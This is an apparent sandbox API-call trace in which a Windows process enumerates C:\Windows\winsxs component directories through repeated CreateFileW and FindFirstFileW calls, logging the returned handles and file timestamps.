	[0108.646] CreateFileW (lpFileName="C:\\Windows\\winsxs\\amd64_microsoft-windows-a..ompat-adm.resources_31bf3856ad364e35_6.1.7600.16385_en-us_1770b9ac6464f96e" (normalized: "c:\\windows\\winsxs\\amd64_microsoft-windows-a..ompat-adm.resources_31bf3856ad364e35_6.1.7600.16385_en-us_1770b9ac6464f96e"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0108.647] FindFirstFileW (in: lpFileName="C:\\Windows\\winsxs\\amd64_microsoft-windows-a..ompat-adm.resources_31bf3856ad364e35_6.1.7600.16385_en-us_1770b9ac6464f96e\\*", lpFindFileData=0x1278d97c | out: lpFindFileData=0x1278d97c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1257059c, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1257059c, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1257059c, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7efd88
	[0108.647] CreateFileW (lpFileName="C:\\Windows\\winsxs\\amd64_microsoft-windows-a..on-authui.resources_31bf3856ad364e35_6.1.7600.16385_en-us_e7718915b6ba8195" (normalized: "c:\\windows\\winsxs\\amd64_microsoft-windows-a..on-authui.resources_31bf3856ad364e35_6.1.7600.16385_en-us_e7718915b6ba8195"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0108.647] FindFirstFileW (in: lpFileName="C:\\Windows\\winsxs\\amd64_microsoft-windows-a..on-authui.resources_31bf3856ad364e35_6.1.7600.16385_en-us_e7718915b6ba8195\\*", lpFindFileData=0x1278d97c | out: lpFindFileData=0x1278d97c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb6a7ead, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xb6a7ead, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xb6a7ead, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7efd88
	[0108.648] CreateFileW (lpFileName="C:\\Windows\\winsxs\\amd64_microsoft-windows-a..on-experience-tools_31bf3856ad364e35_6.1.7601.17514_none_f2f02c72bf119df2" (normalized: "c:\\windows\\winsxs\\amd64_microsoft-windows-a..on-experience-tools_31bf3856ad364e35_6.1.7601.17514_none_f2f02c72bf119df2"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0108.648] FindFirstFileW (in: lpFileName="C:\\Windows\\winsxs\\amd64_microsoft-windows-a..on-experience-tools_31bf3856ad364e35_6.1.7601.17514_none_f2f02c72bf119df2\\*", lpFindFileData=0x1278d97c | out: lpFindFileData=0x1278d97c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9c7640aa, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9c7640aa, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9c7640aa, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7efd88
	[0108.649] CreateFileW (lpFileName="C:\\Windows\\winsxs\\amd64_microsoft-windows-a..on-logger.resources_31bf3856ad364e35_6.1.7600.16385_en-us_f58d3a8341e9ef44" (normalized: "c:\\windows\\winsxs\\amd64_microsoft-windows-a..on-logger.resources_31bf3856ad364e35_6.1.7600.16385_en-us_f58d3a8341e9ef44"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0108.649] FindFirstFileW (in: lpFileName="C:\\Windows\\winsxs\\amd64_microsoft-windows-a..on-logger.resources_31bf3856ad364e35_6.1.7600.16385_en-us_f58d3a8341e9ef44\\*", lpFindFileData=0x1278d97c | out: lpFindFileData=0x1278d97c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9e5a2e2, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x9e5a2e2, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x9e5a2e2, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7efd88
	[0108.649] CreateFileW (lpFileName="C:\\Windows\\winsxs\\amd64_microsoft-windows-a..ore-other.resources_31bf3856ad364e35_6.1.7600.16385_en-us_475d7ce9acf6d9ee" (normalized: "c:\\windows\\winsxs\\amd64_microsoft-windows-a..ore-other.resources_31bf3856ad364e35_6.1.7600.16385_en-us_475d7ce9acf6d9ee"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0108.649] FindFirstFileW (in: lpFileName="C:\\Windows\\winsxs\\amd64_microsoft-windows-a..ore-other.resources_31bf3856ad364e35_6.1.7600.16385_en-us_475d7ce9acf6d9ee\\*", lpFindFileData=0x1278d97c | out: lpFindFileData=0x1278d97c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb65b93b, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xb65b93b, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xb65b93b, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7efd88
	[0108.653] CreateFileW (lpFileName="C:\\Windows\\winsxs\\amd64_microsoft-windows-a..orecodecs.resources_31bf3856ad364e35_6.1.7600.16385_en-us_a0117050dc6b1274" (normalized: "c:\\windows\\winsxs\\amd64_microsoft-windows-a..orecodecs.resources_31bf3856ad364e35_6.1.7600.16385_en-us_a0117050dc6b1274"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0108.653] FindFirstFileW (in: lpFileName="C:\\Windows\\winsxs\\amd64_microsoft-windows-a..orecodecs.resources_31bf3856ad364e35_6.1.7600.16385_en-us_a0117050dc6b1274\\*", lpFindFileData=0x1278d97c | out: lpFindFileData=0x1278d97c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc64fc8e, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xc64fc8e, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xc64fc8e, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7efd88
	[0108.658] CreateFileW (lpFileName="C:\\Windows\\winsxs\\amd64_microsoft-windows-a..rface-ldap-provider_31bf3856ad364e35_6.1.7600.16385_none_78226e0a149a912a" (normalized: "c:\\windows\\winsxs\\amd64_microsoft-windows-a..rface-ldap-provider_31bf3856ad364e35_6.1.7600.16385_none_78226e0a149a912a"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0108.658] FindFirstFileW (in: lpFileName="C:\\Windows\\winsxs\\amd64_microsoft-windows-a..rface-ldap-provider_31bf3856ad364e35_6.1.7600.16385_none_78226e0a149a912a\\*", lpFindFileData=0x1278d97c | out: lpFindFileData=0x1278d97c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa669f12, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0xa669f12, ftLastAccessTime.dwHighDateTime=0x1ca0432, ftLastWriteTime.dwLowDateTime=0xa669f12, ftLastWriteTime.dwHighDateTime=0x1ca0432, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7efd88
	[0108.658] CreateFileW (lpFileName="C:\\Windows\\winsxs\\amd64_microsoft-windows-a..rience-program-data_31bf3856ad364e35_6.1.7601.17514_none_cf8e57a399a81456" (normalized: "c:\\windows\\winsxs\\amd64_microsoft-windows-a..rience-program-data_31bf3856ad364e35_6.1.7601.17514_none_cf8e57a399a81456"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0108.658] FindFirstFileW (in: lpFileName="C:\\Windows\\winsxs\\amd64_microsoft-windows-a..rience-program-data_31bf3856ad364e35_6.1.7601.17514_none_cf8e57a399a81456\\*", lpFindFileData=0x1278d97c | out: lpFindFileData=0x1278d97c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4ebe9580, ftCreationTime.dwHighDateTime=0x1cb892a, ftLastAccessTime.dwLowDateTime=0x94ca7168, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x94ca7168, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7efd88
	[0108.659] CreateFileW (lpFileName="C:\\Windows\\winsxs\\amd64_microsoft-windows-a..rvice-adm.resources_31bf3856ad364e35_6.1.7600.16385_en-us_68408642f41ba602" (normalized: "c:\\windows\\winsxs\\amd64_microsoft-windows-a..rvice-adm.resources_31bf3856ad364e35_6.1.7600.16385_en-us_68408642f41ba602"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0108.659] FindFirstFileW (in: lpFileName="C:\\Windows\\winsxs\\amd64_microsoft-windows-a..rvice-adm.resources_31bf3856ad364e35_6.1.7600.16385_en-us_68408642f41ba602\\*", lpFindFileData=0x1278d97c | out: lpFindFileData=0x1278d97c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x125bcb0e, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x125bcb0e, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x125bcb0e, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7efd88
	[0108.659] CreateFileW (lpFileName="C:\\Windows\\winsxs\\amd64_microsoft-windows-a..stant-adm.resources_31bf3856ad364e35_6.1.7600.16385_en-us_2ed6e473ca0b722b" (normalized: "c:\\windows\\winsxs\\amd64_microsoft-windows-a..stant-adm.resources_31bf3856ad364e35_6.1.7600.16385_en-us_2ed6e473ca0b722b"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0108.659] FindFirstFileW (in: lpFileName="C:\\Windows\\winsxs\\amd64_microsoft-windows-a..stant-adm.resources_31bf3856ad364e35_6.1.7600.16385_en-us_2ed6e473ca0b722b\\*", lpFindFileData=0x1278d97c | out: lpFindFileData=0x1278d97c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x125bcb0e, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x125bcb0e, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x125bcb0e, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7efd88
	[0108.660] CreateFileW (lpFileName="C:\\Windows\\winsxs\\amd64_microsoft-windows-a..structure-manifests_31bf3856ad364e35_6.1.7601.17514_none_fbf16a81c9f1ea8f" (normalized: "c:\\windows\\winsxs\\amd64_microsoft-windows-a..structure-manifests_31bf3856ad364e35_6.1.7601.17514_none_fbf16a81c9f1ea8f"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0108.660] FindFirstFileW (in: lpFileName="C:\\Windows\\winsxs\\amd64_microsoft-windows-a..structure-manifests_31bf3856ad364e35_6.1.7601.17514_none_fbf16a81c9f1ea8f\\*", lpFindFileData=0x1278d97c | out: lpFindFileData=0x1278d97c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9c82278b, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9c82278b, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9c82278b, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7efd88
	[0108.665] CreateFileW (lpFileName="C:\\Windows\\winsxs\\amd64_microsoft-windows-a..structure.resources_31bf3856ad364e35_6.1.7600.16385_en-us_43e2f3a0ccfee70b" (normalized: "c:\\windows\\winsxs\\amd64_microsoft-windows-a..structure.resources_31bf3856ad364e35_6.1.7600.16385_en-us_43e2f3a0ccfee70b"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0108.665] FindFirstFileW (in: lpFileName="C:\\Windows\\winsxs\\amd64_microsoft-windows-a..structure.resources_31bf3856ad364e35_6.1.7600.16385_en-us_43e2f3a0ccfee70b\\*", lpFindFileData=0x1278d97c | out: lpFindFileData=0x1278d97c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbf279de, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xbf279de, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xbf279de, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7efd88
	[0108.665] CreateFileW (lpFileName="C:\\Windows\\winsxs\\amd64_microsoft-windows-a..structure.resources_31bf3856ad364e35_6.1.7600.16385_en-us_541d3a4db051d913" (normalized: "c:\\windows\\winsxs\\amd64_microsoft-windows-a..structure.resources_31bf3856ad364e35_6.1.7600.16385_en-us_541d3a4db051d913"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0108.665] FindFirstFileW (in: lpFileName="C:\\Windows\\winsxs\\amd64_microsoft-windows-a..structure.resources_31bf3856ad364e35_6.1.7600.16385_en-us_541d3a4db051d913\\*", lpFindFileData=0x1278d97c | out: lpFindFileData=0x1278d97c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb681bf4, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xb681bf4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xb681bf4, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7efd88
	[0108.668] CreateFileW (lpFileName="C:\\Windows\\winsxs\\amd64_microsoft-windows-a..terface-ldapc-layer_31bf3856ad364e35_6.1.7600.16385_none_bb2765e0802e6023" (normalized: "c:\\windows\\winsxs\\amd64_microsoft-windows-a..terface-ldapc-layer_31bf3856ad364e35_6.1.7600.16385_none_bb2765e0802e6023"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0108.668] FindFirstFileW (in: lpFileName="C:\\Windows\\winsxs\\amd64_microsoft-windows-a..terface-ldapc-layer_31bf3856ad364e35_6.1.7600.16385_none_bb2765e0802e6023\\*", lpFindFileData=0x1278d97c | out: lpFindFileData=0x1278d97c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa669f12, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0xa69006c, ftLastAccessTime.dwHighDateTime=0x1ca0432, ftLastWriteTime.dwLowDateTime=0xa69006c, ftLastWriteTime.dwHighDateTime=0x1ca0432, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7efd88
	[0108.669] CreateFileW (lpFileName="C:\\Windows\\winsxs\\amd64_microsoft-windows-a..try-agent.resources_31bf3856ad364e35_6.1.7600.16385_en-us_c35d808935d0d1c6" (normalized: "c:\\windows\\winsxs\\amd64_microsoft-windows-a..try-agent.resources_31bf3856ad364e35_6.1.7600.16385_en-us_c35d808935d0d1c6"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0108.669] FindFirstFileW (in: lpFileName="C:\\Windows\\winsxs\\amd64_microsoft-windows-a..try-agent.resources_31bf3856ad364e35_6.1.7600.16385_en-us_c35d808935d0d1c6\\*", lpFindFileData=0x1278d97c | out: lpFindFileData=0x1278d97c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x964cfdc, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x964cfdc, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x964cfdc, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7efd88
	[0108.669] CreateFileW (lpFileName="C:\\Windows\\winsxs\\amd64_microsoft-windows-a..upgradeui.resources_31bf3856ad364e35_6.1.7600.16385_en-us_0e3e753eef9791de" (normalized: "c:\\windows\\winsxs\\amd64_microsoft-windows-a..upgradeui.resources_31bf3856ad364e35_6.1.7600.16385_en-us_0e3e753eef9791de"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0108.669] FindFirstFileW (in: lpFileName="C:\\Windows\\winsxs\\amd64_microsoft-windows-a..upgradeui.resources_31bf3856ad364e35_6.1.7600.16385_en-us_0e3e753eef9791de\\*", lpFindFileData=0x1278d97c | out: lpFindFileData=0x1278d97c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1252402a, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1252402a, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1252402a, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7efd88
	[0108.670] CreateFileW (lpFileName="C:\\Windows\\winsxs\\amd64_microsoft-windows-a..usinessed.resources_31bf3856ad364e35_6.1.7600.16385_en-us_83a9f39966141ec5" (normalized: "c:\\windows\\winsxs\\amd64_microsoft-windows-a..usinessed.resources_31bf3856ad364e35_6.1.7600.16385_en-us_83a9f39966141ec5"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0108.670] FindFirstFileW (in: lpFileName="C:\\Windows\\winsxs\\amd64_microsoft-windows-a..usinessed.resources_31bf3856ad364e35_6.1.7600.16385_en-us_83a9f39966141ec5\\*", lpFindFileData=0x1278d97c | out: lpFindFileData=0x1278d97c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x11cca7b2, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11cca7b2, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x11cca7b2, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7efd88
	[0108.670] CreateFileW (lpFileName="C:\\Windows\\winsxs\\amd64_microsoft-windows-a..vesqmmanifestplugin_31bf3856ad364e35_6.1.7601.17514_none_756ad8eef4d0f1d0" (normalized: "c:\\windows\\winsxs\\amd64_microsoft-windows-a..vesqmmanifestplugin_31bf3856ad364e35_6.1.7601.17514_none_756ad8eef4d0f1d0"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0108.670] FindFirstFileW (in: lpFileName="C:\\Windows\\winsxs\\amd64_microsoft-windows-a..vesqmmanifestplugin_31bf3856ad364e35_6.1.7601.17514_none_756ad8eef4d0f1d0\\*", lpFindFileData=0x1278d97c | out: lpFindFileData=0x1278d97c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa203562d, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa203562d, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa203562d, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7efd88
	[0108.671] CreateFileW (lpFileName="C:\\Windows\\winsxs\\amd64_microsoft-windows-a..wdm-audio.resources_31bf3856ad364e35_6.1.7600.16385_en-us_cca8caec1b8b9631" (normalized: "c:\\windows\\winsxs\\amd64_microsoft-windows-a..wdm-audio.resources_31bf3856ad364e35_6.1.7600.16385_en-us_cca8caec1b8b9631"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0108.671] FindFirstFileW (in: lpFileName="C:\\Windows\\winsxs\\amd64_microsoft-windows-a..wdm-audio.resources_31bf3856ad364e35_6.1.7600.16385_en-us_cca8caec1b8b9631\\*", lpFindFileData=0x1278d97c | out: lpFindFileData=0x1278d97c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8f7129e, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x8f7129e, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x8f7129e, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7efd88
	[0108.671] CreateFileW (lpFileName="C:\\Windows\\winsxs\\amd64_microsoft-windows-a..xtensions.resources_31bf3856ad364e35_6.1.7600.16385_en-us_bec88761433f76d6" (normalized: "c:\\windows\\winsxs\\amd64_microsoft-windows-a..xtensions.resources_31bf3856ad364e35_6.1.7600.16385_en-us_bec88761433f76d6"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0108.671] FindFirstFileW (in: lpFileName="C:\\Windows\\winsxs\\amd64_microsoft-windows-a..xtensions.resources_31bf3856ad364e35_6.1.7600.16385_en-us_bec88761433f76d6\\*", lpFindFileData=0x1278d97c | out: lpFindFileData=0x1278d97c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9e5a2e2, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x9e5a2e2, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x9e5a2e2, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7efd88
	[0108.672] CreateFileW (lpFileName="C:\\Windows\\winsxs\\amd64_microsoft-windows-accessibilitycpl_31bf3856ad364e35_6.1.7601.17514_none_b783c6426a7b1abc" (normalized: "c:\\windows\\winsxs\\amd64_microsoft-windows-accessibilitycpl_31bf3856ad364e35_6.1.7601.17514_none_b783c6426a7b1abc"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0108.672] FindFirstFileW (in: lpFileName="C:\\Windows\\winsxs\\amd64_microsoft-windows-accessibilitycpl_31bf3856ad364e35_6.1.7601.17514_none_b783c6426a7b1abc\\*", lpFindFileData=0x1278d97c | out: lpFindFileData=0x1278d97c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x91dc9ff1, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x91dc9ff1, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x91dc9ff1, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7efd88
	[0108.672] CreateFileW (lpFileName="C:\\Windows\\winsxs\\amd64_microsoft-windows-acledit.resources_31bf3856ad364e35_6.1.7600.16385_en-us_853b0789da5b1e2a" (normalized: "c:\\windows\\winsxs\\amd64_microsoft-windows-acledit.resources_31bf3856ad364e35_6.1.7600.16385_en-us_853b0789da5b1e2a"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0108.672] FindFirstFileW (in: lpFileName="C:\\Windows\\winsxs\\amd64_microsoft-windows-acledit.resources_31bf3856ad364e35_6.1.7600.16385_en-us_853b0789da5b1e2a\\*", lpFindFileData=0x1278d97c | out: lpFindFileData=0x1278d97c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc6299d5, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xc6299d5, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xc6299d5, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7efd88
	[0108.673] CreateFileW (lpFileName="C:\\Windows\\winsxs\\amd64_microsoft-windows-acledit_31bf3856ad364e35_6.1.7600.16385_none_c3d671ef7642fced" (normalized: "c:\\windows\\winsxs\\amd64_microsoft-windows-acledit_31bf3856ad364e35_6.1.7600.16385_none_c3d671ef7642fced"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
